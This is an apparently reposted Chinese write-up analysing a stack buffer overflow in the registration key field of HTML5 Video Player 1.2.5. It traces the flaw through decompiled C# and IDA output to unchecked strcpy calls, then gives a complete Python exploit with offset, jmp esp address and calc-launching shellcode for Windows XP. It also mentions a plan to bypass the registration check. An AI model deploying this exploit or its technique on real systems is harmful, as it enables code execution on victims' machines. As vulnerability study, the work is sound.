内容简介:放假前最后一天看到因为最近在练习 windows 平台挖洞和写 exploit 的能力,因此就只看了 PoC 的说明部分:
放假前最后一天看到 exploit-db 上出了一个 HTML5 Video Player 的缓冲区溢出的 exploit,版本是 1.2.5,(无心工作)就分析了一下这个漏洞,是一个比较简单的栈溢出漏洞,简单记录一下。
因为最近在练习 windows 平台挖洞和写 exploit 的能力,因此就只看了 PoC 的说明部分:
# PoC: # 1.) Generate exploit.txt, copy the contents to clipboard # 2.) In application, open 'Help' then 'Register' # 3.) Paste the contents of exploit.txt under 'KEY CODE' # 4.) Click OK - Calc POPS!
看起来溢出发生在注册时,先安装软件,查壳。
.NET 架构,搜了一下发现 C# 难以出现 溢出漏洞 ,因此猜测溢出发生在 dll 中。
使用 dnspy 打开文件,通过搜索注册时的字符串 Key Code 定位到关键的代码在 HTML5VideoPlayer.RegisterDialog.okButton_Click()
// Token: 0x060000ED RID: 237 RVA: 0x00007A60 File Offset: 0x00005C60
private void okButton_Click(object sender, EventArgs e)
{
string keyName = this.userNameTextBox.Text.Trim();
string keyCode = this.keyCodeTextBox.Text.Trim();
if (CallKeyCodeDLL.isRegisterVersion(keyName, keyCode))
{
CallKeyCodeDLL.keyName = keyName;
CallKeyCodeDLL.keyCode = keyCode;
CallKeyCodeDLL.gIsRegisterCache = true;
MessageBox.Show("Thank you for your support to us. You have registered this program successfully. All trial limitation has been removed.");
base.Close();
return;
}
MessageBox.Show("Sorry, the user name and key code is not valid!");
}
在 Key Code 栏中输入一串超长的字符串,然后点 OK 注册,发现程序直接 crash,既没有注册成功的弹窗,也没有注册失败的弹窗,说明溢出发生在 CallKeyCodeDLL.isRegisterVersion() 中。查看该函数:
// Token: 0x06000246 RID: 582 RVA: 0x00011428 File Offset: 0x0000F628
public static bool isRegisterVersion(string userName, string keyCode)
{
CallKeyCodeDLL.makeSureEngineInit();
int num = CallKeyCodeDLL.funcDLLVerifyKeyCode(userName, keyCode);
return num > 0;
}
// Token: 0x06000245 RID: 581 RVA: 0x00011413 File Offset: 0x0000F613
private static void makeSureEngineInit()
{
CallKeyCodeDLL.funcDLLInitEngine(8, "SocuJHTY_HTML5VIDEOPLAYER_WIN");
CallKeyCodeDLL._alreadyInitKeyCodeEngine = true;
}
该函数又调用了 makeSureEngineInit() 和 funcDLLVerifyKeyCode() 两个函数,其中 CallKeyCodeDLL.funcDLLVerifyKeyCode() 传递了输入的 userName 和 keyCode ,从函数名字来看,溢出就发生在这里了。
查看该函数的定义,是 KeyCodeDLL.dll 中的导出函数,溢出应该就发生在这个函数中了。
// Token: 0x06000244 RID: 580
[DllImport("KeyCodeDLL.dll", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Ansi, EntryPoint = "#1")]
private static extern int funcDLLVerifyKeyCode(string strUserName, string strKeyCode);
通过调试验证了猜想。
继续 step over ,程序 crash。
使用 IDA 打开 KeyCodeDll.dll 寻找 funcDLLVerifyKeyCode() 函数,但尴尬的是 dll 被去除了符号表,使用 IDA 看不出函数名,乱翻了几个函数后思考了一下,虽然 dll 没有符号表,但还是能看出导出函数的,于是直接拿 ollydbg 加载程序,查看 KeyCodeDll.dll 的导出函数。
发现只有两个导出函数不确定,应该就是 makeSureEngineInit() 和 funcDLLVerifyKeyCode() 了。分别对两个函数下断点,根据参数调试发现 0x43010D0 是要找的函数。
在 IDA 中查看该函数,发现又调用了另一个函数
int __cdecl funcDLLVerifyKeyCode(char *a1, char *a2)
{
int result; // eax
if ( dword_10004010 )
result = vul((_DWORD *)dword_10004010, a1, a2, 1);// vulnerability
else
result = 0;
return result;
}
继续查看
int __thiscall vul(_DWORD *this, const char *username, const char *keycode, int a4)
{
_DWORD *v4; // ebp
int v5; // eax
char *v7; // [esp+10h] [ebp-4F4h]
char *v8; // [esp+14h] [ebp-4F0h]
char *v9; // [esp+18h] [ebp-4ECh]
int v10; // [esp+1Ch] [ebp-4E8h]
char v11[256]; // [esp+20h] [ebp-4E4h]
char v12[256]; // [esp+120h] [ebp-3E4h]
__int16 v13; // [esp+220h] [ebp-2E4h]
char v14; // [esp+224h] [ebp-2E0h]
int v15; // [esp+2CCh] [ebp-238h]
char v16[4]; // [esp+2D4h] [ebp-230h]
char v17[4]; // [esp+2D8h] [ebp-22Ch]
char v18; // [esp+2DCh] [ebp-228h]
int v19; // [esp+384h] [ebp-180h]
char v20; // [esp+390h] [ebp-174h]
char v21; // [esp+394h] [ebp-170h]
int v22; // [esp+43Ch] [ebp-C8h]
char v23; // [esp+448h] [ebp-BCh]
char v24; // [esp+44Ch] [ebp-B8h]
int v25; // [esp+4F4h] [ebp-10h]
char v26; // [esp+500h] [ebp-4h]
v4 = this;
this[68] = 0;
strcpy(v11, username); // overflow
strcpy(v12, keycode); // overflow
v7 = v11;
v17[0] = 0;
v13 = -(a4 != 0);
v9 = &v14;
v20 = 0;
v23 = 0;
v26 = 0;
v8 = v12;
sub_10001310(&v7);
v9 = &v18;
sub_10001460(&v7);
v9 = &v21;
sub_100015B0((int)&v7);
v9 = &v24;
sub_10001710(&v7);
if ( dword_10004018 )
dword_10004018(v4, v11);
if ( (unsigned __int8)v15 + 1 == (unsigned __int8)v19
&& (unsigned __int8)v15 + 2 == (unsigned __int8)v22
&& (unsigned __int8)v15 + 3 == (unsigned __int8)v25 )
{
LOBYTE(v10) = (unsigned __int8)v15 % 4;
v5 = 184 * (unsigned __int8)v10;
if ( v17[v5] )
{
if ( *(_DWORD *)&v16[v5] == 426969350 )
v4[68] = 1;
}
}
return v4[68];
}
分析到这,就很容易发现漏洞原因了, strcpy() 未检测长度造成了栈溢出
...... char v11[256]; // [esp+20h] [ebp-4E4h] char v12[256]; // [esp+120h] [ebp-3E4h] ...... ...... strcpy(v11, username); // overflow strcpy(v12, keycode); // overflow
并且发现除了 exploit-db 上指明的 KeyCode 可以造成溢出外,UserName 同样也可以造成溢出。
分析了一下函数逻辑后,发现 v12 这个变量在拷贝完 keycode 后就没有再使用过,因此使用这个变量溢出更方便。
查看汇编,发现该函数使用 esp 寻址,因此就不能确定覆盖返回地址所需的长度是 0x3E4 + 0x4 = 1000 了,但大致也在这个附近,使用 msf 的 pattern 功能,经过调试发现覆盖返回地址需要 996 个字节的字符串。又观察了 vul() 函数后发现函数最后的 Epilogue 不是 ret 而是 retn 0Ch ,因此除了覆盖函数返回地址还需要再填充 12 位无用字符。
测试的环境是 windows xp sp3 ,既没有 ASLR 也没有 DEP,因此可以构造如下的栈结构
padding(996) --------------- jmp_esp address --------------- padding(12) --------------- shellcode
windows 中经常使用 jmp esp + shellcode 的方法,第一次是在 Jarvis OJ 的 BackDoor 这道题目 中见到了这种技巧。
写了一段弹计算器的 shellcode,需要注意不能出现截断 strcpy() 的字符
shellcode = "\x31\xC9" # xor ecx, ecx shellcode += "\x51" # push ecx shellcode += "\x68\x63\x61\x6C\x63" # push 0x63616c63 (push calc) shellcode += "\x54" # push dword ptr esp shellcode += "\xBA\xC7\x93\xbf\x77" # mov edx, 0x77bf93c7 (mov edx, system) shellcode += "\xFF\xD2"; # call edx shellcode += "\x90" * 2 # suffix
完整的 exploit
import struct
p32 = lambda x: struct.pack('<I', x)
jesp = 0x7d711020 # shell32.dll
shellcode = "\x31\xC9" # xor ecx, ecx
shellcode += "\x51" # push ecx
shellcode += "\x68\x63\x61\x6C\x63" # push 0x63616c63 (push calc)
shellcode += "\x54" # push dword ptr esp
shellcode += "\xBA\xC7\x93\xbf\x77" # mov edx, 0x77bf93c7 (mov edx, system)
shellcode += "\xFF\xD2"; # call edx
shellcode += "\x90" * 2 # suffix
payload = 'A' * 996 + p32(jesp) + "aaaabbbbcccc" + shellcode
# print(payload)
with open("exploit.txt", "wb") as f:
f.write(payload)
使用方法是把 exploit.txt 中的内容复制到 Help -> Register - Key Code 中,然后点击 OK 。
效果图:
Question:
- 直接用长字符串触发 crash,使用 ollydbg 查看调用堆栈,看不到 dll 中的函数,不知是环境问题还是操作有问题
Todo:
- 分析如何绕过注册机制
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
与机器赛跑
[美]埃里克·布林约尔松(Erik Brynjolfsson)、[美]安德鲁·麦卡菲(Andrew McAfee) / 闾佳 / 2013-1-20 / 6.00
一场数字革命正在加速进行。 一些科幻小说里的场景已经在现实中发生:无人驾驶汽车开上了公路;智能设备能高效地翻译人类语言;人工智能系统在智力竞赛里击败了所有人类选手;工厂雇主开始购买更多的新机器,却不招新工人…… 这些例子都证明,数字技术正在快速地掌握原本只属于人类的技能,并深刻地影响了经济。虽然大多数影响是积极的:数字革新将提高效率、降低商品价格(甚至到免费),以及增加经济总量。 ......一起来看看 《与机器赛跑》 这本书的介绍吧!
HTML 压缩/解压工具
在线压缩/解压 HTML 代码
Markdown 在线编辑器
Markdown 在线编辑器